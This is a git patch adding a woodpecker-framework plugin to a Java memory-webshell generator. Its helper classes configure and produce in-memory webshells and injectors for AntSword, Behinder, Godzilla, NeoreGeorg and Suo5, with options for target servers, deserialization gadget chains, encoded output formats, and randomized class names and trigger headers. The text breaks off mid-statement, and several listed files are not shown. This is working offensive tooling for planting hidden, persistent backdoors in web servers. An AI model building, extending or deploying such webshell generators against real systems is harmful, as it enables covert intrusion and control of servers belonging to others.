From d5c7b731ab2c1cdde5e500bad95c05bf0577683b Mon Sep 17 00:00:00 2001 From: pen4uin Date: Sat, 24 Aug 2024 00:52:35 +0800 Subject: [PATCH] =?UTF-8?q?add:=20=E6=B7=BB=E5=8A=A0=E5=AF=B9=20woodpecker?= =?UTF-8?q?-framework=20=E6=8F=92=E4=BB=B6=E7=9A=84=E6=94=AF=E6=8C=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- jmg-woodpecker/pom.xml | 69 +++++ .../gv7/woodpecker/helper/AntSwordHelper.java | 34 +++ .../gv7/woodpecker/helper/BehinderHelper.java | 34 +++ .../gv7/woodpecker/helper/CustomHelper.java | 240 +++++++++++++++ .../gv7/woodpecker/helper/GodzillaHelper.java | 33 +++ .../woodpecker/helper/NeoreGeorgHelper.java | 37 +++ .../me/gv7/woodpecker/helper/ProxyHelper.java | 157 ++++++++++ .../me/gv7/woodpecker/helper/ShellHelper.java | 187 ++++++++++++ .../me/gv7/woodpecker/helper/Suo5Helper.java | 35 +++ .../plugin/ExtenderHelperPlugin.java | 275 ++++++++++++++++++ .../woodpecker/plugin/ProxyHelperPlugin.java | 29 ++ .../woodpecker/plugin/ShellHelperPlugin.java | 28 ++ .../plugin/WoodpeckerPluginManager.java | 13 + .../me/gv7/woodpecker/util/JMGResultUtil.java | 146 ++++++++++ pom.xml | 2 +- 15 files changed, 1318 insertions(+), 1 deletion(-) create mode 100644 jmg-woodpecker/pom.xml create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/CustomHelper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ProxyHelper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/Suo5Helper.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ExtenderHelperPlugin.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ProxyHelperPlugin.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/ShellHelperPlugin.java create mode 100755 jmg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java create mode 100644 jmg-woodpecker/src/main/java/me/gv7/woodpecker/util/JMGResultUtil.java diff --git a/jmg-woodpecker/pom.xml b/jmg-woodpecker/pom.xml new file mode 100644 index 0000000..dbab36d --- /dev/null +++ b/jmg-woodpecker/pom.xml @@ -0,0 +1,69 @@ + + + 4.0.0 + + jmg + java-memshell-generator + ${project.build.version} + + + jmg-woodpecker + + + UTF-8 + + + + + jmg + jmg-core + ${project.build.version} + compile + + + jmg + jmg-antsword + ${project.build.version} + compile + + + jmg + jmg-behinder + ${project.build.version} + compile + + + jmg + jmg-custom + ${project.build.version} + compile + + + jmg + jmg-godzilla + ${project.build.version} + compile + + + jmg + jmg-extender + ${project.build.version} + compile + + + jmg + jmg-neoregeorg + ${project.build.version} + compile + + + jmg + jmg-suo5 + ${project.build.version} + compile + + + + \ No newline at end of file diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java new file mode 100644 index 0000000..1457ce5 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java @@ -0,0 +1,34 @@ +package me.gv7.woodpecker.helper; + + +import jmg.antsword.generator.AntSwordGenerator; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import me.gv7.woodpecker.plugin.IResultOutput; +import me.gv7.woodpecker.plugin.ShellHelperPlugin; +import me.gv7.woodpecker.util.JMGResultUtil; + +import java.util.Map; + +public class AntSwordHelper extends ShellHelper { + + @Override + public String getHelperTabCaption() { + return Constants.TOOL_ANTSWORD; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + AbstractConfig config = initConfig(customArgs); + new AntSwordGenerator().makeShell(config); + new InjectorGenerator().makeInjector(config); + JMGResultUtil.printAntSwordBasicInfo(resultOutput, config); + JMGResultUtil.printResult(resultOutput, config); + JMGResultUtil.printDebugInfo(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } +} \ No newline at end of file diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java new file mode 100644 index 0000000..af05f92 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/BehinderHelper.java @@ -0,0 +1,34 @@ +package me.gv7.woodpecker.helper; + +import jmg.behinder.generator.BehinderGenerator; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import me.gv7.woodpecker.plugin.IResultOutput; +import me.gv7.woodpecker.plugin.ShellHelperPlugin; +import me.gv7.woodpecker.util.JMGResultUtil; + +import java.util.Map; + +public class BehinderHelper extends ShellHelper { + + + @Override + public String getHelperTabCaption() { + return Constants.TOOL_BEHINDER; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + AbstractConfig config = initConfig(customArgs); + new BehinderGenerator().makeShell(config); + new InjectorGenerator().makeInjector(config); + JMGResultUtil.printBehinderBasicInfo(resultOutput, config); + JMGResultUtil.printResult(resultOutput, config); + JMGResultUtil.printDebugInfo(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } +} \ No newline at end of file diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/CustomHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/CustomHelper.java new file mode 100644 index 0000000..3000afa --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/CustomHelper.java @@ -0,0 +1,240 @@ +package me.gv7.woodpecker.helper; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.NotFoundException; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import jmg.core.util.ClassNameUtil; +import jmg.core.util.CommonUtil; +import jmg.custom.generator.CustomGenerator; +import me.gv7.woodpecker.plugin.ShellHelperPlugin; +import me.gv7.woodpecker.plugin.*; +import me.gv7.woodpecker.util.JMGResultUtil; +import javax.servlet.Filter; +import javax.servlet.ServletRequestListener; +import java.io.DataInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +public class CustomHelper implements IHelper { + @Override + public String getHelperTabCaption() { + return Constants.TOOL_CUSTOM; + } + + @Override + public IArgsUsageBinder getHelperCutomArgs() { + IArgsUsageBinder binder = ShellHelperPlugin.pluginHelper.createArgsUsageBinder(); + List list = new ArrayList(); + + IArg server_type = ShellHelperPlugin.pluginHelper.createArg(); + server_type.setName("server_type"); + server_type.setType(7); + List enumServerType = new ArrayList(); + enumServerType.add(Constants.SERVER_TOMCAT); + enumServerType.add(Constants.SERVER_SPRING_MVC); + enumServerType.add(Constants.SERVER_JETTY); + enumServerType.add(Constants.SERVER_RESIN); + enumServerType.add(Constants.SERVER_WEBLOGIC); + enumServerType.add(Constants.SERVER_WEBSPHERE); + enumServerType.add(Constants.SERVER_UNDERTOW); + enumServerType.add(Constants.SERVER_GLASSFISH); + server_type.setEnumValue(enumServerType); + server_type.setDefaultValue(Constants.SERVER_TOMCAT); + server_type.setRequired(true); + server_type.setDescription("自定义中间件"); + list.add(server_type); + + IArg shell_type = ShellHelperPlugin.pluginHelper.createArg(); + shell_type.setName("shell_type"); + shell_type.setType(7); + List enumShellType = new ArrayList(); + enumShellType.add(Constants.SHELL_LISTENER); + enumShellType.add(Constants.SHELL_FILTER); + enumShellType.add(Constants.SHELL_INTERCEPTOR); + shell_type.setEnumValue(enumShellType); + + IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg(); + gadgetType.setName("gadget_type"); + gadgetType.setType(7); + List enumGadgetType = new ArrayList(); + enumGadgetType.add(Constants.GADGET_NONE); + enumGadgetType.add(Constants.GADGET_JDK_TRANSLET); + enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET); + enumGadgetType.add(Constants.GADGET_FJ_GROOVY); + enumGadgetType.add(Constants.GADGET_SNAKEYAML); + gadgetType.setEnumValue(enumGadgetType); + gadgetType.setDefaultValue(Constants.GADGET_NONE); + gadgetType.setRequired(true); + gadgetType.setDescription("自定义利用链"); + list.add(gadgetType); + + + IArg formatType = ShellHelperPlugin.pluginHelper.createArg(); + formatType.setName("format_type"); + formatType.setType(7); + List enumFormattType = new ArrayList(); + enumFormattType.add(Constants.FORMAT_BASE64); + enumFormattType.add(Constants.FORMAT_BIGINTEGER); + enumFormattType.add(Constants.FORMAT_BCEL); + enumFormattType.add(Constants.FORMAT_CLASS); + enumFormattType.add(Constants.FORMAT_JAR); + enumFormattType.add(Constants.FORMAT_JAR_AGENT); + enumFormattType.add(Constants.FORMAT_JSP); + formatType.setEnumValue(enumFormattType); + formatType.setDefaultValue(Constants.FORMAT_BASE64); + formatType.setRequired(true); + formatType.setDescription("自定义输出格式"); + list.add(formatType); + + IArg class_file_path = ShellHelperPlugin.pluginHelper.createArg(); + class_file_path.setName("class_file_path"); + class_file_path.setDefaultValue("/tmp/woo.class"); + class_file_path.setDescription("自定义内存马文件(.class)"); + class_file_path.setRequired(true); + list.add(class_file_path); + + IArg injector_class_name = ShellHelperPlugin.pluginHelper.createArg(); + injector_class_name.setName("injector_class_name"); + injector_class_name.setType(0); + injector_class_name.setRequired(false); + injector_class_name.setDescription("自定义注入器类名"); + list.add(injector_class_name); + IArg url_pattern = ShellHelperPlugin.pluginHelper.createArg(); + + url_pattern.setName("url_pattern"); + url_pattern.setType(0); + url_pattern.setDefaultValue("/*"); + url_pattern.setRequired(false); + url_pattern.setDescription("自定义请求路径"); + list.add(url_pattern); + + IArg output_path = ShellHelperPlugin.pluginHelper.createArg(); + output_path.setName("output_path"); + output_path.setType(0); + output_path.setDefaultValue("workdir"); + output_path.setRequired(false); + output_path.setDescription("自定义输出路径"); + list.add(output_path); + + binder.setArgsList(list); + return binder; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + + AbstractConfig config = new AbstractConfig(); + config.setToolType(Constants.TOOL_CUSTOM); + config.setServerType((String) customArgs.get("server_type")); + config.setShellType((String) customArgs.get("shell_type")); + config.setOutputFormat((String) customArgs.get("format_type")); + config.setGadgetType((String) customArgs.get("gadget_type")); + if (customArgs.get("url_pattern") != null) config.setUrlPattern((String) customArgs.get("url_pattern")); + if (customArgs.get("shell_class_name") != null) + config.setShellClassName((String) customArgs.get("shell_class_name")); + if (customArgs.get("injector_class_name") != null) + config.setInjectorClassName((String) customArgs.get("injector_class_name")); + if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path")); + if (customArgs.get("class_file_path") != null) + config.setClassFilePath((String) customArgs.get("class_file_path")); + if (config.getInjectorClassName() == null) + config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName()); + if (config.getUrlPattern() == null) config.setUrlPattern("/*"); + config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName())); + if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir")); + + config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath())); + File f; + try { + f = new File(config.getClassFilePath()); + if (!f.exists() || !f.isFile()) { + resultOutput.warningPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(new Throwable("File does not exist or is not a regular file: " + config.getClassFilePath()))); + return; + } + ClassPool classPool = ClassPool.getDefault(); + classPool.insertClassPath(new ClassClassPath(Filter.class)); + classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class)); + classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor"); + classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor"); + String filePath = config.getClassFilePath(); + CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath))); + // Bug: 修复 custom 生成的注入器 shellClassName 为空导致注入失败的问题 + config.setShellClassName(ctClass.getName()); + if (isFilterClass(ctClass)) { + config.setShellType("Filter"); + } else if (isListenerClass(ctClass)) { + config.setShellType("Listener"); + } else if (isInterceptorClass(ctClass)) { + config.setShellType("Interceptor"); + } else { + resultOutput.warningPrintln(filePath + " is neither a Filter nor a Listener."); + return; + } + + } catch (Exception e) { + resultOutput.warningPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(new Throwable("File does not exist or is not a regular file: " + config.getClassFilePath()))); + } + new CustomGenerator().makeShell(config); + new InjectorGenerator().makeInjector(config); + JMGResultUtil.printCustomBasicInfo(resultOutput, config); + JMGResultUtil.printResult(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } + + + public static boolean isFilterClass(CtClass ctClass) throws NotFoundException, IOException { + CtClass[] interfaces = ctClass.getInterfaces(); + CtClass[] var2 = interfaces; + int var3 = interfaces.length; + + for (int var4 = 0; var4 < var3; ++var4) { + CtClass intf = var2[var4]; + if (intf.getName().equals("javax.servlet.Filter")) { + return true; + } + } + + return false; + } + + public static boolean isListenerClass(CtClass ctClass) throws NotFoundException, IOException { + CtClass[] interfaces = ctClass.getInterfaces(); + CtClass[] var2 = interfaces; + int var3 = interfaces.length; + + for (int var4 = 0; var4 < var3; ++var4) { + CtClass intf = var2[var4]; + if (intf.getName().equals("javax.servlet.ServletRequestListener")) { + return true; + } + } + + return false; + } + + public static boolean isInterceptorClass(CtClass ctClass) throws NotFoundException, IOException { + CtClass[] interfaces = ctClass.getInterfaces(); + CtClass[] var2 = interfaces; + int var3 = interfaces.length; + + for (int var4 = 0; var4 < var3; ++var4) { + CtClass intf = var2[var4]; + if (intf.getName().contains("Interceptor")) { + return true; + } + } + + return false; + } +} \ No newline at end of file diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java new file mode 100644 index 0000000..d7dc048 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/GodzillaHelper.java @@ -0,0 +1,33 @@ +package me.gv7.woodpecker.helper; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import jmg.godzilla.generator.GodzillaGenerator; +import me.gv7.woodpecker.plugin.IResultOutput; +import me.gv7.woodpecker.plugin.ShellHelperPlugin; +import me.gv7.woodpecker.util.JMGResultUtil; + +import java.util.Map; + +public class GodzillaHelper extends ShellHelper { + + @Override + public String getHelperTabCaption() { + return Constants.TOOL_GODZILLA; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + AbstractConfig config = initConfig(customArgs); + new GodzillaGenerator().makeShell(config); + new InjectorGenerator().makeInjector(config); + JMGResultUtil.printGodzillaBasicInfo(resultOutput, config); + JMGResultUtil.printResult(resultOutput, config); + JMGResultUtil.printDebugInfo(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ShellHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } +} \ No newline at end of file diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java new file mode 100644 index 0000000..f7bbd92 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/NeoreGeorgHelper.java @@ -0,0 +1,37 @@ +package me.gv7.woodpecker.helper; + + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.InjectorGenerator; +import jmg.neoregeorg.generator.NeoreGeorgGenerator; +import me.gv7.woodpecker.plugin.IPluginHelper; +import me.gv7.woodpecker.plugin.IResultOutput; +import me.gv7.woodpecker.plugin.ProxyHelperPlugin; +import me.gv7.woodpecker.util.JMGResultUtil; + +import java.util.Map; + +public class NeoreGeorgHelper extends ProxyHelper { + + @Override + public String getHelperTabCaption() { + return Constants.TOOL_NEOREGEORG; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + try { + AbstractConfig config = initConfig(customArgs, new AbstractConfig()); + config.setKey("neorgkey"); + new NeoreGeorgGenerator().makeShell(config); + new InjectorGenerator().makeInjector(config); + JMGResultUtil.printNeoreGeorgBasicInfo(resultOutput, config); + JMGResultUtil.printResult(resultOutput, config); + JMGResultUtil.printDebugInfo(resultOutput, config); + } catch (Exception e) { + resultOutput.errorPrintln(ProxyHelperPlugin.pluginHelper.getThrowableInfo(e)); + } + } + +} diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ProxyHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ProxyHelper.java new file mode 100644 index 0000000..54990f3 --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ProxyHelper.java @@ -0,0 +1,157 @@ +package me.gv7.woodpecker.helper; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.util.ClassNameUtil; +import jmg.core.util.CommonUtil; +import jmg.core.util.RandomHttpHeaderUtil; +import me.gv7.woodpecker.plugin.*; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +/** + * @author pen4uin + * @time 2024/8/22 22:55 + */ + +public class ProxyHelper implements IHelper { + + + @Override + public String getHelperTabCaption() { + return null; + } + + public IArgsUsageBinder getHelperCutomArgs() { + IArgsUsageBinder binder = ProxyHelperPlugin.pluginHelper.createArgsUsageBinder(); + List list = new ArrayList(); + IArg server_type = ProxyHelperPlugin.pluginHelper.createArg(); + server_type.setName("server_type"); + server_type.setType(7); + List enumServerType = new ArrayList(); + enumServerType.add(Constants.SERVER_TOMCAT); + enumServerType.add(Constants.SERVER_SPRING_MVC); + enumServerType.add(Constants.SERVER_JETTY); + enumServerType.add(Constants.SERVER_RESIN); + enumServerType.add(Constants.SERVER_WEBLOGIC); + enumServerType.add(Constants.SERVER_WEBSPHERE); + enumServerType.add(Constants.SERVER_UNDERTOW); + enumServerType.add(Constants.SERVER_GLASSFISH); + server_type.setEnumValue(enumServerType); + server_type.setDefaultValue(Constants.SERVER_TOMCAT); + server_type.setRequired(true); + server_type.setDescription("自定义中间件"); + list.add(server_type); + + IArg shell_type = ProxyHelperPlugin.pluginHelper.createArg(); + shell_type.setName("shell_type"); + shell_type.setType(7); + List enumShellType = new ArrayList(); + enumShellType.add(Constants.SHELL_FILTER); + enumShellType.add(Constants.SHELL_LISTENER); + enumShellType.add(Constants.SHELL_INTERCEPTOR); + shell_type.setEnumValue(enumShellType); + shell_type.setDefaultValue(Constants.SHELL_LISTENER); + shell_type.setRequired(true); + shell_type.setDescription("自定义内存马类型"); + list.add(shell_type); + + IArg gadgetType = ProxyHelperPlugin.pluginHelper.createArg(); + gadgetType.setName("gadget_type"); + gadgetType.setType(7); + List enumGadgetType = new ArrayList(); + enumGadgetType.add(Constants.GADGET_NONE); + enumGadgetType.add(Constants.GADGET_JDK_TRANSLET); + enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET); + enumGadgetType.add(Constants.GADGET_FJ_GROOVY); + enumGadgetType.add(Constants.GADGET_SNAKEYAML); + gadgetType.setEnumValue(enumGadgetType); + gadgetType.setDefaultValue(Constants.GADGET_NONE); + gadgetType.setRequired(true); + gadgetType.setDescription("自定义利用链"); + list.add(gadgetType); + + IArg formatType = ProxyHelperPlugin.pluginHelper.createArg(); + formatType.setName("format_type"); + formatType.setType(7); + List enumFormattType = new ArrayList(); + enumFormattType.add(Constants.FORMAT_BASE64); + enumFormattType.add(Constants.FORMAT_BIGINTEGER); + enumFormattType.add(Constants.FORMAT_BCEL); + enumFormattType.add(Constants.FORMAT_CLASS); + enumFormattType.add(Constants.FORMAT_JAR); + enumFormattType.add(Constants.FORMAT_JAR_AGENT); + enumFormattType.add(Constants.FORMAT_JSP); + formatType.setEnumValue(enumFormattType); + formatType.setDefaultValue(Constants.FORMAT_BASE64); + formatType.setRequired(true); + formatType.setDescription("自定义输出格式"); + list.add(formatType); + + IArg shell_class_name = ProxyHelperPlugin.pluginHelper.createArg(); + shell_class_name.setName("shell_class_name"); + shell_class_name.setType(0); + shell_class_name.setRequired(false); + shell_class_name.setDescription("自定义内存马类名"); + list.add(shell_class_name); + IArg injector_class_name = ProxyHelperPlugin.pluginHelper.createArg(); + injector_class_name.setName("injector_class_name"); + injector_class_name.setType(0); + injector_class_name.setRequired(false); + injector_class_name.setDescription("自定义注入器类名"); + list.add(injector_class_name); + IArg output_path = ProxyHelperPlugin.pluginHelper.createArg(); + output_path.setName("output_path"); + output_path.setType(0); + output_path.setDefaultValue("workdir"); + output_path.setRequired(false); + output_path.setDescription("自定义输出路径"); + list.add(output_path); + binder.setArgsList(list); + return binder; + } + + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + + } + + public AbstractConfig initConfig(Map customArgs, AbstractConfig config) { + config.setToolType(getHelperTabCaption()); + config.setServerType((String) customArgs.get("server_type")); + config.setShellType((String) customArgs.get("shell_type")); + config.setOutputFormat((String) customArgs.get("format_type")); + config.setGadgetType((String) customArgs.get("gadget_type")); + + // 用户自定义 + if (customArgs.get("url_pattern") != null) config.setUrlPattern((String) customArgs.get("url_pattern")); + if (customArgs.get("shell_class_name") != null) + config.setShellClassName((String) customArgs.get("shell_class_name")); + if (customArgs.get("injector_class_name") != null) + config.setInjectorClassName((String) customArgs.get("injector_class_name")); + if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path")); + + // 无自定义则随机生成 + Map.Entry header = RandomHttpHeaderUtil.generateHeader(); + if (config.getHeaderName() == null) config.setHeaderName(header.getKey()); + if (config.getHeaderValue() == null) config.setHeaderValue(header.getValue()); + + if (config.getUrlPattern() == null) config.setUrlPattern("/*"); + if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir")); + if (config.getInjectorClassName() == null) + config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName()); + if (config.getInjectorSimpleClassName() == null) + config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName())); + if (config.getShellClassName() == null) + config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType())); + if (config.getShellSimpleClassName() == null) + config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName())); + + config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath())); + + return config; + } +} diff --git a/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java new file mode 100644 index 0000000..0fa93ee --- /dev/null +++ b/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/ShellHelper.java @@ -0,0 +1,187 @@ +package me.gv7.woodpecker.helper; + + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.util.ClassNameUtil; +import jmg.core.util.CommonUtil; +import jmg.core.util.RandomHttpHeaderUtil; +import me.gv7.woodpecker.plugin.*; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +public class ShellHelper implements IHelper { + + + @Override + public String getHelperTabCaption() { + return ""; + } + + public IArgsUsageBinder getHelperCutomArgs() { + IArgsUsageBinder binder = ShellHelperPlugin.pluginHelper.createArgsUsageBinder(); + List list = new ArrayList(); + IArg server_type = ShellHelperPlugin.pluginHelper.createArg(); + server_type.setName("server_type"); + server_type.setType(7); + List enumServerType = new ArrayList(); + enumServerType.add(Constants.SERVER_TOMCAT); + enumServerType.add(Constants.SERVER_SPRING_MVC); + enumServerType.add(Constants.SERVER_JETTY); + enumServerType.add(Constants.SERVER_RESIN); + enumServerType.add(Constants.SERVER_WEBLOGIC); + enumServerType.add(Constants.SERVER_WEBSPHERE); + enumServerType.add(Constants.SERVER_UNDERTOW); + enumServerType.add(Constants.SERVER_GLASSFISH); + enumServerType.add(Constants.SERVER_JBOSS); + server_type.setEnumValue(enumServerType); + server_type.setDefaultValue(Constants.SERVER_TOMCAT); + server_type.setRequired(true); + server_type.setDescription("自定义中间件"); + list.add(server_type); + + IArg shell_type = ShellHelperPlugin.pluginHelper.createArg(); + shell_type.setName("shell_type"); + shell_type.setType(7); + List enumShellType = new ArrayList(); + enumShellType.add(Constants.SHELL_LISTENER); + enumShellType.add(Constants.SHELL_FILTER); + enumShellType.add(Constants.SHELL_INTERCEPTOR); + shell_type.setEnumValue(enumShellType); + + shell_type.setDefaultValue("Listener"); + shell_type.setRequired(true); + shell_type.setDescription("自定义内存马类型"); + list.add(shell_type); + + IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg(); + gadgetType.setName("gadget_type"); + gadgetType.setType(7); + List enumGadgetType = new ArrayList(); + enumGadgetType.add(Constants.GADGET_NONE); + enumGadgetType.add(Constants.GADGET_JDK_TRANSLET); + enumGadgetType.add(Constants.GADGET_XALAN_TRANSLET); + enumGadgetType.add(Constants.GADGET_FJ_GROOVY); + enumGadgetType.add(Constants.GADGET_SNAKEYAML); + gadgetType.setEnumValue(enumGadgetType); + gadgetType.setDefaultValue(Constants.GADGET_NONE); + gadgetType.setRequired(true); + gadgetType.setDescription("自定义利用链"); + list.add(gadgetType); + + IArg formatType = ShellHelperPlugin.pluginHelper.createArg(); + formatType.setName("format_type"); + formatType.setType(7); + List enumFormattType = new ArrayList(); + enumFormattType.add(Constants.FORMAT_BASE64); + enumFormattType.add(Constants.FORMAT_BIGINTEGER); + enumFormattType.add(Constants.FORMAT_BCEL); + enumFormattType.add(Constants.FORMAT_CLASS); + enumFormattType.add(Constants.FORMAT_JAR); + enumFormattType.add(Constants.FORMAT_JAR_AGENT); + enumFormattType.add(Constants.FORMAT_JSP); + formatType.setEnumValue(enumFormattType); + formatType.setDefaultValue(Constants.FORMAT_BASE64); + formatType.setRequired(true); + formatType.setDescription("自定义输出格式"); + list.add(formatType); + IArg pass = ShellHelperPlugin.pluginHelper.createArg(); + pass.setName("pass"); + pass.setType(0); + pass.setRequired(false); + pass.setDescription("自定义密码"); + list.add(pass); + IArg shell_class_name = ShellHelperPlugin.pluginHelper.createArg(); + shell_class_name.setName("shell_class_name"); + shell_class_name.setType(0); + shell_class_name.setRequired(false); + shell_class_name.setDescription("自定义内存马类名"); + list.add(shell_class_name); + IArg injector_class_name = ShellHelperPlugin.pluginHelper.createArg(); + injector_class_name.setName("injector_class_name"); + injector_class_name.setType(0); + injector_class_name.setRequired(false); + injector_class_name.setDescription("自定义注入器类名"); + list.add(injector_class_name); + IArg url_pattern = ShellHelperPlugin.pluginHelper.createArg(); + url_pattern.setName("url_pattern"); + url_pattern.setType(0); + url_pattern.setDefaultValue("/*"); + url_pattern.setRequired(false); + url_pattern.setDescription("自定义请求路径"); + list.add(url_pattern); + IArg request_header_name = ShellHelperPlugin.pluginHelper.createArg(); + request_header_name.setName("request_header_name"); + request_header_name.setType(0); + request_header_name.setDefaultValue("random"); + request_header_name.setRequired(false); + request_header_name.setDescription("自定义HTTP请求头: Header Name"); + list.add(request_header_name); + IArg request_header_value = ShellHelperPlugin.pluginHelper.createArg(); + request_header_value.setName("request_header_value"); + request_header_value.setType(0); + request_header_value.setDefaultValue("random"); + request_header_value.setRequired(false); + request_header_value.setDescription("自定义HTTP请求头: Header Value"); + list.add(request_header_value); + IArg output_path = ShellHelperPlugin.pluginHelper.createArg(); + output_path.setName("output_path"); + output_path.setType(0); + output_path.setDefaultValue("workdir"); + output_path.setRequired(false); + output_path.setDescription("自定义输出路径"); + list.add(output_path); + + binder.setArgsList(list); + return binder; + } + + @Override + public void doHelp(Map customArgs, IResultOutput resultOutput) { + + } + + public AbstractConfig initConfig(Map customArgs) { + AbstractConfig config = new AbstractConfig(); + config.setToolType(getHelperTabCaption()); + + config.setServerType((String) customArgs.get("server_type")); + config.setShellType((String) customArgs.get("shell_type")); + config.setOutputFormat((String) customArgs.get("format_type")); + config.setGadgetType((String) customArgs.get("gadget_type")); + + // 用户自定义 + if (customArgs.get("pass") != null) config.setPass((String) customArgs.get("pass")); + if (customArgs.get("url_pattern") != null) config.setUrlPattern((String) customArgs.get("url_pattern")); + if (customArgs.get("shell_class_name") != null) + config.setShellClassName((String) customArgs.get("shell_class_name")); + if (customArgs.get("injector_class_name") != null) + config.setInjectorClassName((String) customArgs.get("injector_class_name")); + if (customArgs.get("output_path") != null) config.setSavePath((String) customArgs.get("output_path")); + if (customArgs.get("request_header_name") != null) + config.setHeaderName((String) customArgs.get("request_header_name")); + if (customArgs.get("request_header_value") != null) + config.setHeaderValue((String) customArgs.get("request_header_value")); + + // 无自定义则随机生成 + Map.Entry header = RandomHttpHeaderUtil.generateHeader(); + if (config.getHeaderName() == null) config.setHeaderName(header.getKey()); + if (config.getHeaderValue() == null) config.setHeaderValue(header.getValue()); + if (config.getUrlPattern() == null) config.setUrlPattern("/*"); + if (config.getSavePath() == null) 